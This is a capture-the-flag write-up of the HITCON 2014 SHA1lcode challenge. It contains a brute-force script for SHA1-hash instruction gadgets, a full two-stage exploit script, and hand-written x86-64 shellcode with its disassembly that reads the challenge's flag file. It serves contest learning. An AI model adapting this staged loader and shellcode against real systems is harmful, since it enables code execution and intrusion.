| tags:HITCON
HITCON2014 - SHA1lcode (Shellcode300)
Shellcoding, neat. I like those challenges.
First of all, I did some reversing and figured the following:
The first 4 input bytes are determining how often SHA1 is called.Our following input gets read to read to 0x601080 and every 0x10 input bytes are taken together and hashed with SHA1 as a single block. Every hash block gets appended to the code stripe at 0x604f00. After the completion of constructing the code blocks, the code stripe gets executed via call rax.
Thus, it is clear what to do: We have to provide input blocks of 16bytes each, which are hashed resulting into reasonable assembly code. It is not possible to generate an input block resulting into a hash where every byte is making sense in the foreseeable future, we have to find a way around it. Thus, we went for creating Jump-Oriented-Programming (JOP) Gadgets. Hereby, only the first few bytes are used; The first few for the payload, the following for a jump to another location. Intuitively, we always want to jump to the beginning to the beginning of the next block to form our finite payload. We used the following script to generate input-hash pairs:
import hashlib, random
a_z = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
while 1:
word = random.choice(a_z)+random.choice(a_z)+random.choice(a_z)+random.choice(a_z)+random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z) + random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)
m = hashlib.sha1()
m.update(word)
print word
print m.hexdigest()
The output of this script piped into grep delivered us the gadget we wanted. As rule of thumb estimate, 4 bytes for both jump and payload are bruteforcable in this way in a reasonable amount of time. So, as payload we constructed a Loader for more payload, basically reading more into the code stripe from stdin. This is very easily possible because the code stripe is marked +rwx and the address of the code segment is still in some registers!
Thus, the stage1 shellcode just aims for the syscall read(0,code,“ALOT”). Hereby, the present sha1lcode gets overwritten and after the according read syscall finishes, the new read byte are available for execution. Our developed stage2 shellcode does nothing else than opening the flag, reading it onto the stack and writing it to stdout. It follows the final code, a little bit ugly - im new to py and it’s ctf code anyway. ;)
-nsr
import struct, sys
p = struct.pack("<I", 0x00000010) #num of called sha1
sys.stdout.write(p)
#what we are doing here is:
#triggering a second read to the code segment
#via gadgets
#p = "mXhaVsSNkKnLKub7"
p="DhgCTWezkDPzTx3j" #push rbx
p+="XyVwwkQqD3illCVw" #pop rax
p+="DhgCTWezkDPzTx3j" #push rbx
p+="IfsV8Syi5DNDI5Y4" #pop rdi
p+="r3xzwhubJjPlXx9O" #push rdx
p+="3pjMKtzirbFrpAVi" #pop rsi
p += "K_KLtmuBn8_NYhMK" #syscall
sys.stdout.write(p)
p = "\x90" * 1000
#this is the shellcode down here, look at eof for what it does in detail
#for now: it does open(/home/sh1lcode/flag), read, write
p += struct.pack(">I", 0xb8020000)
p += struct.pack(">I", 0x00be0000)
p += struct.pack(">I", 0x0000ba9a)
p += struct.pack(">I", 0x020000b9)
p += struct.pack(">I", 0x666c6167)
p += struct.pack(">I", 0x5148b961)
p += struct.pack(">I", 0x316c636f)
p += struct.pack(">I", 0x64652f51)
p += struct.pack(">I", 0x48b92f68)
p += struct.pack(">I", 0x6f6d652f)
p += struct.pack(">I", 0x73685148)
p += struct.pack(">I", 0x89e70f05)
p += struct.pack(">I", 0x90909048)
p += struct.pack(">I", 0x89c7b800)
p += struct.pack(">I", 0x00000048)
p += struct.pack(">I", 0x89e6baff)
p += struct.pack(">I", 0x0000000f)
p += struct.pack(">I", 0x05b80100)
p += struct.pack(">I", 0x0000bf01)
p += struct.pack(">I", 0x0000000f)
p += struct.pack(">I", 0x05b83c00)
p+= struct.pack(">I",0xebfeebfe) # additional hang. comment this for calling exit in the nextline
p += struct.pack(">I", 0x00000f05)
print p
"""
Disassembly of section .text:
0000000000400080 <_start>:
400080: b8 02 00 00 00 mov $0x2,%eax
400085: be 00 00 00 00 mov $0x0,%esi
40008a: ba 9a 02 00 00 mov $0x29a,%edx
40008f: b9 66 6c 61 67 mov $0x67616c66,%ecx
400094: 51 push %rcx
400095: 48 b9 61 31 6c 63 6f movabs $0x2f65646f636c3161,%rcx
40009c: 64 65 2f
40009f: 51 push %rcx
4000a0: 48 b9 2f 68 6f 6d 65 movabs $0x68732f656d6f682f,%rcx
4000a7: 2f 73 68
4000aa: 51 push %rcx
4000ab: 48 89 e7 mov %rsp,%rdi
4000ae: 0f 05 syscall
4000b0: 48 89 c7 mov %rax,%rdi
4000b3: b8 00 00 00 00 mov $0x0,%eax
4000b8: 48 89 e6 mov %rsp,%rsi
4000bb: ba ff 00 00 00 mov $0xff,%edx
4000c0: 0f 05 syscall
4000c2: b8 01 00 00 00 mov $0x1,%eax
4000c7: bf 01 00 00 00 mov $0x1,%edi
4000cc: 0f 05 syscall
4000ce: b8 3c 00 00 00 mov $0x3c,%eax
4000d3: 0f 05 syscall
"""